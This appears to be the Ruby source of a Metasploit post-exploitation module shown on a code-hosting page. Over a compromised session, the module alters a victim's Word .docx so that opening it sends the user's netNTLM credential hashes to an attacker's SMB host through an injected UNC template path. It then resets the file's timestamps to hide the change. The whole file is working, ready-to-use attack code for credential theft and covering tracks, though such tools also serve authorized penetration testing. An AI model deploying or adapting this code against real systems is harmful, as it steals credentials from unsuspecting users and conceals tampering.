Files
metasploit-gs/modules/post/windows/gather/word_unc_injector.rb
T
2017-07-24 06:26:21 -07:00

238 lines
8.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
# for extracting files
require 'zip'
#
# Project
#
# for creating files
require 'rex/zip'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Gather Microsoft Office Word UNC Path Injector',
'Description' => %q{
This module modifies a remote .docx file that will, upon opening, submit
stored netNTLM credentials to a remote host. Verified to work with Microsoft
Word 2003, 2007, 2010, and 2013. In order to get the hashes the
auxiliary/server/capture/smb module can be used.
},
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://jedicorp.com/?p=534' ]
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' =>
[
'SphaZ <cyberphaz[at]gmail.com>'
]
))
register_options(
[
OptAddress.new('SMBHOST',[true, 'Server IP or hostname that the .docx document points to']),
OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']),
OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]),
])
end
#Store MACE values so we can set them later again.
def get_mace
begin
mace = session.priv.fs.get_file_mace(datastore['FILE'])
vprint_status("Got file MACE attributes!")
rescue
print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
end
return mace
end
#here we unzip into memory, inject our UNC path, store it in a temp file and
#return the modified zipfile name for upload
def manipulate_file(zipfile)
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
rels_file_data = ""
rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"
rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">"
rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['SMBHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
zip_data = unzip_docx(zipfile)
if zip_data.nil?
return nil
end
#file to check for reference file we need
file_content = zip_data["word/settings.xml"]
if file_content.nil?
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
return nil
end
#if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
zip_data["word/_rels/settings.xml.rels"] = rels_file_data
return zip_docx(zip_data)
else
#now insert the reference to the file that will enable our malicious entry
insert_one = file_content.index("<w:defaultTabStop")
if insert_one.nil?
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
if not insert_two.nil?
vprint_status("HypenationZone found, we use this for insertion.")
file_content.insert(insert_two, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
file_content.insert(insert_one, ref )
end
if insert_one.nil? && insert_two.nil?
print_error("Cannot find insert point for reference into settings.xml")
return nil
end
#update the files that contain the injection and reference
zip_data["word/settings.xml"] = file_content
zip_data["word/_rels/settings.xml.rels"] = rels_file_data
return zip_docx(zip_data)
end
end
#RubyZip sometimes corrupts the document when manipulating inside a
#compressed document, so we extract it with Zip::File into memory
def unzip_docx(zipfile)
vprint_status("Extracting #{datastore['FILE']} into memory.")
zip_data = Hash.new
begin
Zip::File.open(zipfile) do |filezip|
filezip.each do |entry|
zip_data[entry.name] = filezip.read(entry)
end
end
rescue Zip::Error => e
print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
return nil
end
return zip_data
end
#making the actual docx
def zip_docx(zip_data)
docx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
docx.add_file(k,v)
end
return docx.pack
end
#We try put the mace values back to that of the original file
def set_mace(mace)
if not mace.nil?
vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.")
begin
session.priv.fs.set_file_mace(datastore['FILE'], mace["Modified"], mace["Accessed"], mace["Created"], mace["Entry Modified"])
rescue
print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
end
end
end
def rhost
client.sock.peerhost
end
def run
#sadly OptPath does not work, so we check manually if it exists
if !file_exist?(datastore['FILE'])
print_error("Remote file does not exist!")
return
end
#get mace values so we can put them back after uploading. We do this first, so we have the original
#accessed time too.
file_mace = get_mace
#download the remote file
print_status("Downloading remote file #{datastore['FILE']}.")
org_file_data = read_file(datastore['FILE'])
#store the original file because we need to unzip from disk because there is no memory unzip
if datastore['BACKUP']
#logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
#FileUtils.mkdir_p(logs_dir)
#@org_file = logs_dir + File::Separator + datastore['FILE'].split('\\').last
@org_file = store_loot(
"host.word_unc_injector.changedfiles",
"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
rhost,
org_file_data,
datastore['FILE']
)
print_status("Local backup kept at #{@org_file}")
#Store information in note database so its obvious what we changed, were we stored the backup file..
note_string ="Remote file #{datastore['FILE']} contains UNC path to #{datastore['SMBHOST']}. "
note_string += " Local backup of file at #{@org_file}."
report_note(
:host => session.session_host,
:type => "host.word_unc_injector.changedfiles",
:data => {
:session_num => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:files_changed => note_string
}
)
else
@org_file = Rex::Quickfile.new('msf_word_unc_injector')
end
vprint_status("Written remote file to #{@org_file}")
File.open(@org_file, 'wb') { |f| f.write(org_file_data)}
#Unzip, insert our UNC path, zip and return the data of the modified file for upload
injected_file = manipulate_file(@org_file)
if injected_file.nil?
return
end
#upload the injected file
write_file(datastore['FILE'], injected_file)
print_status("Uploaded injected file.")
#set mace values back to that of original
set_mace(file_mace)
#remove tmpfile if no backup is desired
if not datastore['BACKUP']
@org_file.close
@org_file.unlink rescue nil # Windows often complains about unlinking tempfiles
end
print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['SMBHOST']}")
end
end